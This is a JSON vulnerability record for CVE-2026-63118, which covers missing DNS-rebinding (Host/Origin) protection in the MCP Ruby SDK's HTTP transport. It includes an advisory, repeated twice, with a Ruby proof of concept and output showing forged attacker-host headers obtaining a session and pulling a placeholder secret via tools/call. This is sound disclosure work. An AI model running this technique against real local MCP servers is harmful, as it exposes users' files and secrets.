{"id":"CVE-2026-63118","aliases":["EUVD-2026-50489","GHSA-rjr6-rcgv-9m7m"],"status":"published","title":"MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection","description":"MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem does not validate the HTTP Host or Origin request headers, which allows a malicious browser page to use DNS rebinding to reach a locally running MCP server and invoke exposed tools. This issue is fixed in version 0.23.0.","severity":{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00239,"percentile":0.15067,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-346","CWE-350"],"published":"2026-07-29T19:07:33Z","modified":"2026-10-28T02:30:25Z","fixes":[{"ecosystem":"RubyGems","package":"mcp","fixed_in":["0.23.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"RubyGems","package":"mcp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.22.0"},{"fixed":"0.23.0"}]}]},{"source":"osv","ecosystem":"RubyGems","package":"mcp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.23.0"}]}],"versions":["0.1.0","0.10.0","0.11.0","0.12.0","0.13.0","0.14.0","0.15.0","0.16.0","0.17.0","0.18.0","0.19.0","0.2.0","0.20.0","0.21.0","0.22.0","0.3.0","0.4.0","0.5.0","0.6.0","0.7.0","0.7.1","0.8.0","0.9.0","0.9.1","0.9.2"]}],"products":[{"vendor":"modelcontextprotocol","product":"ruby-sdk"}],"references":[{"url":"https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-rjr6-rcgv-9m7m","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/modelcontextprotocol/ruby-sdk/commit/ba543083a7594e7892b29464b89091816446ff7a","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63118","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-rjr6-rcgv-9m7m"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63118.json","tags":["advisory"]},{"url":"https://github.com/modelcontextprotocol/ruby-sdk","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-63118","title":"MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection","description":"MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem does not validate the HTTP Host or Origin request headers, which allows a malicious browser page to use DNS rebinding to reach a locally running MCP server and invoke exposed tools. This issue is fixed in version 0.23.0.","status":"published","published":"2026-07-29T19:07:33.452Z","modified":"2026-07-29T19:35:10.375Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-346","CWE-350"],"updated_at":"2026-11-02T14:19:56.284359Z"}],"euvd":[{"id":"EUVD-2026-50489","description":"MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem does not validate the HTTP Host or Origin request headers, which allows a malicious browser page to use DNS rebinding to reach a locally running MCP server and invoke exposed tools. This issue is fixed in version 0.23.0.","status":"published","published":"2026-07-29T19:07:33Z","modified":"2026-07-29T19:35:10Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:02:29.367786Z"}],"ghsa":[{"id":"GHSA-rjr6-rcgv-9m7m","title":"MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection","description":"## Summary\n\n`MCP::Server::Transports::StreamableHTTPTransport` (the Rack-mountable Streamable HTTP transport in the `mcp` gem) processes every incoming JSON-RPC request without ever inspecting the HTTP `Host` or `Origin` request headers. There is no `AllowedHosts`/`AllowedOrigins` allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to `127.0.0.1`, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.\n\n## Impact\n\n- An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on `localhost`).\n- Because the transport issues a session and dispatches `tools/list` / `tools/call` from a foreign `Host`/`Origin` with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin.\n- The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.\n\n## Vulnerable code\n\nFile: `lib/mcp/server/transports/streamable_http_transport.rb` (gem `mcp` 0.18.0).\n\nThe Rack entrypoint and POST handler validate `Accept`, `Content-Type`, `Mcp-Session-Id`, and `Mcp-Protocol-Version`, but never `Host` or `Origin`:\n\n```ruby\n# call(env) -\u003e handle_request(Rack::Request.new(env))  (line 56)\ndef handle_post(request)\n  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE\n  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only\n  return accept_error if accept_error\n\n  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only\n  return content_type_error if content_type_error\n\n  body_string = request.body.read\n  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID\n```\n\nNo statement anywhere in `handle_post`, `handle_request`, or any helper reads `request.env[\"HTTP_HOST\"]` or `request.env[\"HTTP_ORIGIN\"]`.\n\nThe only request-env reads in the whole class are:\n\n- `extract_session_id` -\u003e `request.env[\"HTTP_MCP_SESSION_ID\"]` (line 489)\n- `validate_accept_header` -\u003e `request.env[\"HTTP_ACCEPT\"]` (line 493)\n- `validate_content_type` -\u003e `request.env[\"CONTENT_TYPE\"]` (line 512)\n- `validate_protocol_version_header` -\u003e `request.env[\"HTTP_MCP_PROTOCOL_VERSION\"]` (line 546)\n\nA repository-wide search of `lib/` for `HTTP_HOST`, `HTTP_ORIGIN`, `allowed_host`, `allowed_origin`, `rebind`, or `dns.rebind` returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The `examples/` tree mounts `Rack::Cors` as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.\n\n## How the input reaches the sink (attack scenario)\n\n1. A developer runs an MCP server over `StreamableHTTPTransport`, mounted as a Rack app on a local HTTP port (loopback or LAN).\n2. The victim opens `http://evil.attacker.com` in a browser. The page resolves to the attacker's server, which then re-answers DNS for `evil.attacker.com` with `127.0.0.1` (DNS rebinding). The browser now treats requests to `evil.attacker.com` as going to the local MCP server, with `Host: evil.attacker.com` / `Origin: http://evil.attacker.com`.\n3. The page POSTs an `initialize` request. The transport accepts it (it never looks at `Host`/`Origin`), creates a session, and returns `Mcp-Session-Id`.\n4. The page then POSTs `tools/call`, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.\n\n## Proof of concept (end-to-end reproduction)\n\nRun against the real released gem `mcp` 0.18.0 (no stubs). The script builds an `MCP::Server` with a tool that returns sensitive local data, instantiates the real `StreamableHTTPTransport`, and drives it with `Rack::Request` env hashes carrying a forged `Host`/`Origin`. It then re-runs as a legitimate localhost client (negative control).\n\nInstall:\n\n```\ngem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix\ngem install rack            # required by StreamableHTTPTransport\n```\n\nPoC (`poc_f1_dnsrebind.rb`):\n\n```ruby\n# frozen_string_literal: true\nrequire \"mcp\"\nrequire \"rack\"\nrequire \"json\"\nrequire \"stringio\"\n\nputs \"mcp gem version under test: #{MCP::VERSION}\"\nputs \"transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}\"\nputs\n\n# A tool whose output is sensitive local data an attacker wants to exfiltrate.\nsecret_tool = MCP::Tool.define(name: \"read_local_secret\", description: \"returns a local secret\") do |*|\n  MCP::Tool::Response.new([{ type: \"text\", text: \"TOP-SECRET-LOCAL-DATA-9f3a\" }])\nend\n\nserver = MCP::Server.new(name: \"poc_server\", version: \"1.0.0\", tools: [secret_tool])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(server)\nPROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last\n\ndef rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)\n  body = JSON.generate(body_hash)\n  env = {\n    \"REQUEST_METHOD\" =\u003e \"POST\", \"PATH_INFO\" =\u003e \"/\",\n    \"HTTP_HOST\"   =\u003e host,    # attacker-controlled Host (DNS-rebind primary vector)\n    \"HTTP_ORIGIN\" =\u003e origin,  # attacker-controlled Origin (cross-origin browser vector)\n    \"HTTP_ACCEPT\" =\u003e \"application/json, text/event-stream\",\n    \"CONTENT_TYPE\" =\u003e \"application/json\",\n    \"rack.input\" =\u003e StringIO.new(body), \"CONTENT_LENGTH\" =\u003e body.bytesize.to_s,\n  }\n  env[\"HTTP_MCP_SESSION_ID\"] = session_id if session_id\n  env[\"HTTP_MCP_PROTOCOL_VERSION\"] = proto if proto\n  status, headers, resp = transport.call(env)\n  collected = +\"\"\n  if resp.respond_to?(:each)\n    resp.each { |c| collected \u003c\u003c c.to_s }\n  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body\n    sink = Object.new\n    sink.define_singleton_method(:write) { |s| collected \u003c\u003c s.to_s }\n    sink.define_singleton_method(:flush) {}\n    sink.define_singleton_method(:close) {}\n    resp.call(sink)\n  end\n  [status, headers, collected]\nend\n\nputs \"========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========\"\ninit_body = { jsonrpc: \"2.0\", id: 1, method: \"initialize\",\n  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: \"evil-page\", version: \"1.0\" } } }\nstatus, headers, body = rack_post(transport, init_body, host: \"attacker.evil.com\", origin: \"http://evil.attacker.com\")\nputs \"[initialize] HTTP status      : #{status}\"\nputs \"[initialize] Mcp-Session-Id   : #{headers[\"Mcp-Session-Id\"].inspect}\"\nputs \"[initialize] response body     : #{body}\"\nsession = headers[\"Mcp-Session-Id\"]\n\ncall_body = { jsonrpc: \"2.0\", id: 2, method: \"tools/call\",\n  params: { name: \"read_local_secret\", arguments: {} } }\nstatus2, _h2, body2 = rack_post(transport, call_body,\n  host: \"attacker.evil.com\", origin: \"http://evil.attacker.com\", session_id: session, proto: PROTO)\nputs \"[tools/call] HTTP status       : #{status2}\"\nputs \"[tools/call] response body      : #{body2}\"\nattack_ok = (status == 200 \u0026\u0026 session \u0026\u0026 status2 == 200 \u0026\u0026 body2.include?(\"TOP-SECRET-LOCAL-DATA-9f3a\"))\nputs\nputs \"ATTACK VERDICT: #{attack_ok ? \"EXFILTRATED\" : \"blocked\"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403.\"\nputs\n\nputs \"========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========\"\nstatus3, headers3, _b3 = rack_post(transport, init_body, host: \"127.0.0.1:8080\", origin: \"http://127.0.0.1:8080\")\nputs \"[initialize] HTTP status      : #{status3}\"\nputs \"[initialize] Mcp-Session-Id   : #{headers3[\"Mcp-Session-Id\"].inspect}\"\nputs\nputs \"CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both.\"\n```\n\nCaptured output (verbatim):\n\n```\nmcp gem version under test: 0.18.0\ntransport source: [\".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb\", 333]\n\n========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========\n[initialize] HTTP status      : 200\n[initialize] Mcp-Session-Id   : \"d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b\"\n[initialize] response body     : {\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{\"tools\":{\"listChanged\":true},\"prompts\":{\"listChanged\":true},\"resources\":{\"listChanged\":true},\"logging\":{}},\"serverInfo\":{\"name\":\"poc_server\",\"version\":\"1.0.0\"}}}\n[tools/call] HTTP status       : 200\n[tools/call] response body      : data: {\"jsonrpc\":\"2.0\",\"id\":2,\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"TOP-SECRET-LOCAL-DATA-9f3a\"}],\"isError\":false}}\n\nATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.\n\n========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========\n[initialize] HTTP status      : 200\n[initialize] Mcp-Session-Id   : \"bf707a19-a22a-4ff2-aeae-62c20cd7141b\"\n\nCONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.\n```\n\nThe forged `Host: attacker.evil.com` / `Origin: http://evil.attacker.com` request obtained a valid session and exfiltrated the local secret (`TOP-SECRET-LOCAL-DATA-9f3a`) via `tools/call`, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.\n\n## Suggested fix\n\nAdd an opt-in but secure-by-default Host/Origin allowlist to `StreamableHTTPTransport`, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:\n\n- Accept `allowed_hosts:` and `allowed_origins:` keyword arguments in `initialize`.\n- In `handle_request` (before any dispatch), read `request.env[\"HTTP_HOST\"]` and `request.env[\"HTTP_ORIGIN\"]`. If an allowlist is configured and the value is not on it, return `403 Forbidden`.\n- Default to allowing only loopback hosts (`127.0.0.1`, `[::1]`, `localhost`) and an empty/absent `Origin`, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.\n\nA concrete patch adds an `AllowedHostsValidation` check invoked at the top of `handle_request`. See the Fix PR.\n\n## Fix PR\n\nA fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with `403` (`{\"error\":\"Forbidden: Host not allowed (DNS-rebinding protection)\"}`) while a legitimate loopback `Host: 127.0.0.1:8080` request is still served (HTTP 200, session issued).\n\n## Credit\n\nReported by tonghuaroot.\n\n## Reporter notes\n\nThis issue was found by source review of the `mcp` gem's Streamable HTTP transport and confirmed end-to-end against the released gem `mcp` 0.18.0 as shown above. It is reported independently on its own merits.","status":"published","published":"2026-07-30T14:41:39Z","modified":"2026-07-30T14:41:42Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium"}],"cwes":["CWE-346","CWE-350"],"updated_at":"2026-11-02T14:40:54.767849Z"}],"nvd":[{"id":"CVE-2026-63118","description":"MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem does not validate the HTTP Host or Origin request headers, which allows a malicious browser page to use DNS rebinding to reach a locally running MCP server and invoke exposed tools. This issue is fixed in version 0.23.0.","status":"published","published":"2026-07-29T20:17:10.63Z","modified":"2026-10-24T13:10:00.147Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"}],"cwes":["CWE-346","CWE-350"],"updated_at":"2026-11-02T14:12:33.629616Z"}],"osv":[{"id":"CVE-2026-63118","title":"MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection","description":"MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem does not validate the HTTP Host or Origin request headers, which allows a malicious browser page to use DNS rebinding to reach a locally running MCP server and invoke exposed tools. This issue is fixed in version 0.23.0.","status":"published","published":"2026-07-29T19:07:33.452Z","modified":"2026-10-28T02:30:25.459083501Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium"}],"cwes":["CWE-346","CWE-350"],"updated_at":"2026-11-02T15:45:13.306117Z"},{"id":"GHSA-rjr6-rcgv-9m7m","title":"MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection","description":"## Summary\n\n`MCP::Server::Transports::StreamableHTTPTransport` (the Rack-mountable Streamable HTTP transport in the `mcp` gem) processes every incoming JSON-RPC request without ever inspecting the HTTP `Host` or `Origin` request headers. There is no `AllowedHosts`/`AllowedOrigins` allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to `127.0.0.1`, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.\n\n## Impact\n\n- An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on `localhost`).\n- Because the transport issues a session and dispatches `tools/list` / `tools/call` from a foreign `Host`/`Origin` with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin.\n- The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.\n\n## Vulnerable code\n\nFile: `lib/mcp/server/transports/streamable_http_transport.rb` (gem `mcp` 0.18.0).\n\nThe Rack entrypoint and POST handler validate `Accept`, `Content-Type`, `Mcp-Session-Id`, and `Mcp-Protocol-Version`, but never `Host` or `Origin`:\n\n```ruby\n# call(env) -\u003e handle_request(Rack::Request.new(env))  (line 56)\ndef handle_post(request)\n  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE\n  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only\n  return accept_error if accept_error\n\n  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only\n  return content_type_error if content_type_error\n\n  body_string = request.body.read\n  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID\n```\n\nNo statement anywhere in `handle_post`, `handle_request`, or any helper reads `request.env[\"HTTP_HOST\"]` or `request.env[\"HTTP_ORIGIN\"]`.\n\nThe only request-env reads in the whole class are:\n\n- `extract_session_id` -\u003e `request.env[\"HTTP_MCP_SESSION_ID\"]` (line 489)\n- `validate_accept_header` -\u003e `request.env[\"HTTP_ACCEPT\"]` (line 493)\n- `validate_content_type` -\u003e `request.env[\"CONTENT_TYPE\"]` (line 512)\n- `validate_protocol_version_header` -\u003e `request.env[\"HTTP_MCP_PROTOCOL_VERSION\"]` (line 546)\n\nA repository-wide search of `lib/` for `HTTP_HOST`, `HTTP_ORIGIN`, `allowed_host`, `allowed_origin`, `rebind`, or `dns.rebind` returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The `examples/` tree mounts `Rack::Cors` as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.\n\n## How the input reaches the sink (attack scenario)\n\n1. A developer runs an MCP server over `StreamableHTTPTransport`, mounted as a Rack app on a local HTTP port (loopback or LAN).\n2. The victim opens `http://evil.attacker.com` in a browser. The page resolves to the attacker's server, which then re-answers DNS for `evil.attacker.com` with `127.0.0.1` (DNS rebinding). The browser now treats requests to `evil.attacker.com` as going to the local MCP server, with `Host: evil.attacker.com` / `Origin: http://evil.attacker.com`.\n3. The page POSTs an `initialize` request. The transport accepts it (it never looks at `Host`/`Origin`), creates a session, and returns `Mcp-Session-Id`.\n4. The page then POSTs `tools/call`, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.\n\n## Proof of concept (end-to-end reproduction)\n\nRun against the real released gem `mcp` 0.18.0 (no stubs). The script builds an `MCP::Server` with a tool that returns sensitive local data, instantiates the real `StreamableHTTPTransport`, and drives it with `Rack::Request` env hashes carrying a forged `Host`/`Origin`. It then re-runs as a legitimate localhost client (negative control).\n\nInstall:\n\n```\ngem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix\ngem install rack            # required by StreamableHTTPTransport\n```\n\nPoC (`poc_f1_dnsrebind.rb`):\n\n```ruby\n# frozen_string_literal: true\nrequire \"mcp\"\nrequire \"rack\"\nrequire \"json\"\nrequire \"stringio\"\n\nputs \"mcp gem version under test: #{MCP::VERSION}\"\nputs \"transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}\"\nputs\n\n# A tool whose output is sensitive local data an attacker wants to exfiltrate.\nsecret_tool = MCP::Tool.define(name: \"read_local_secret\", description: \"returns a local secret\") do |*|\n  MCP::Tool::Response.new([{ type: \"text\", text: \"TOP-SECRET-LOCAL-DATA-9f3a\" }])\nend\n\nserver = MCP::Server.new(name: \"poc_server\", version: \"1.0.0\", tools: [secret_tool])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(server)\nPROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last\n\ndef rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)\n  body = JSON.generate(body_hash)\n  env = {\n    \"REQUEST_METHOD\" =\u003e \"POST\", \"PATH_INFO\" =\u003e \"/\",\n    \"HTTP_HOST\"   =\u003e host,    # attacker-controlled Host (DNS-rebind primary vector)\n    \"HTTP_ORIGIN\" =\u003e origin,  # attacker-controlled Origin (cross-origin browser vector)\n    \"HTTP_ACCEPT\" =\u003e \"application/json, text/event-stream\",\n    \"CONTENT_TYPE\" =\u003e \"application/json\",\n    \"rack.input\" =\u003e StringIO.new(body), \"CONTENT_LENGTH\" =\u003e body.bytesize.to_s,\n  }\n  env[\"HTTP_MCP_SESSION_ID\"] = session_id if session_id\n  env[\"HTTP_MCP_PROTOCOL_VERSION\"] = proto if proto\n  status, headers, resp = transport.call(env)\n  collected = +\"\"\n  if resp.respond_to?(:each)\n    resp.each { |c| collected \u003c\u003c c.to_s }\n  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body\n    sink = Object.new\n    sink.define_singleton_method(:write) { |s| collected \u003c\u003c s.to_s }\n    sink.define_singleton_method(:flush) {}\n    sink.define_singleton_method(:close) {}\n    resp.call(sink)\n  end\n  [status, headers, collected]\nend\n\nputs \"========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========\"\ninit_body = { jsonrpc: \"2.0\", id: 1, method: \"initialize\",\n  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: \"evil-page\", version: \"1.0\" } } }\nstatus, headers, body = rack_post(transport, init_body, host: \"attacker.evil.com\", origin: \"http://evil.attacker.com\")\nputs \"[initialize] HTTP status      : #{status}\"\nputs \"[initialize] Mcp-Session-Id   : #{headers[\"Mcp-Session-Id\"].inspect}\"\nputs \"[initialize] response body     : #{body}\"\nsession = headers[\"Mcp-Session-Id\"]\n\ncall_body = { jsonrpc: \"2.0\", id: 2, method: \"tools/call\",\n  params: { name: \"read_local_secret\", arguments: {} } }\nstatus2, _h2, body2 = rack_post(transport, call_body,\n  host: \"attacker.evil.com\", origin: \"http://evil.attacker.com\", session_id: session, proto: PROTO)\nputs \"[tools/call] HTTP status       : #{status2}\"\nputs \"[tools/call] response body      : #{body2}\"\nattack_ok = (status == 200 \u0026\u0026 session \u0026\u0026 status2 == 200 \u0026\u0026 body2.include?(\"TOP-SECRET-LOCAL-DATA-9f3a\"))\nputs\nputs \"ATTACK VERDICT: #{attack_ok ? \"EXFILTRATED\" : \"blocked\"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403.\"\nputs\n\nputs \"========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========\"\nstatus3, headers3, _b3 = rack_post(transport, init_body, host: \"127.0.0.1:8080\", origin: \"http://127.0.0.1:8080\")\nputs \"[initialize] HTTP status      : #{status3}\"\nputs \"[initialize] Mcp-Session-Id   : #{headers3[\"Mcp-Session-Id\"].inspect}\"\nputs\nputs \"CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both.\"\n```\n\nCaptured output (verbatim):\n\n```\nmcp gem version under test: 0.18.0\ntransport source: [\".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb\", 333]\n\n========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========\n[initialize] HTTP status      : 200\n[initialize] Mcp-Session-Id   : \"d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b\"\n[initialize] response body     : {\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{\"tools\":{\"listChanged\":true},\"prompts\":{\"listChanged\":true},\"resources\":{\"listChanged\":true},\"logging\":{}},\"serverInfo\":{\"name\":\"poc_server\",\"version\":\"1.0.0\"}}}\n[tools/call] HTTP status       : 200\n[tools/call] response body      : data: {\"jsonrpc\":\"2.0\",\"id\":2,\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"TOP-SECRET-LOCAL-DATA-9f3a\"}],\"isError\":false}}\n\nATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.\n\n========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========\n[initialize] HTTP status      : 200\n[initialize] Mcp-Session-Id   : \"bf707a19-a22a-4ff2-aeae-62c20cd7141b\"\n\nCONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.\n```\n\nThe forged `Host: attacker.evil.com` / `Origin: http://evil.attacker.com` request obtained a valid session and exfiltrated the local secret (`TOP-SECRET-LOCAL-DATA-9f3a`) via `tools/call`, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.\n\n## Suggested fix\n\nAdd an opt-in but secure-by-default Host/Origin allowlist to `StreamableHTTPTransport`, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:\n\n- Accept `allowed_hosts:` and `allowed_origins:` keyword arguments in `initialize`.\n- In `handle_request` (before any dispatch), read `request.env[\"HTTP_HOST\"]` and `request.env[\"HTTP_ORIGIN\"]`. If an allowlist is configured and the value is not on it, return `403 Forbidden`.\n- Default to allowing only loopback hosts (`127.0.0.1`, `[::1]`, `localhost`) and an empty/absent `Origin`, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.\n\nA concrete patch adds an `AllowedHostsValidation` check invoked at the top of `handle_request`. See the Fix PR.\n\n## Fix PR\n\nA fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with `403` (`{\"error\":\"Forbidden: Host not allowed (DNS-rebinding protection)\"}`) while a legitimate loopback `Host: 127.0.0.1:8080` request is still served (HTTP 200, session issued).\n\n## Credit\n\nReported by tonghuaroot.\n\n## Reporter notes\n\nThis issue was found by source review of the `mcp` gem's Streamable HTTP transport and confirmed end-to-end against the released gem `mcp` 0.18.0 as shown above. It is reported independently on its own merits.","status":"published","published":"2026-07-30T14:41:39Z","modified":"2026-07-30T14:45:28.029334068Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium"}],"cwes":["CWE-346","CWE-350"],"updated_at":"2026-11-02T15:46:55.877614Z"}]}}
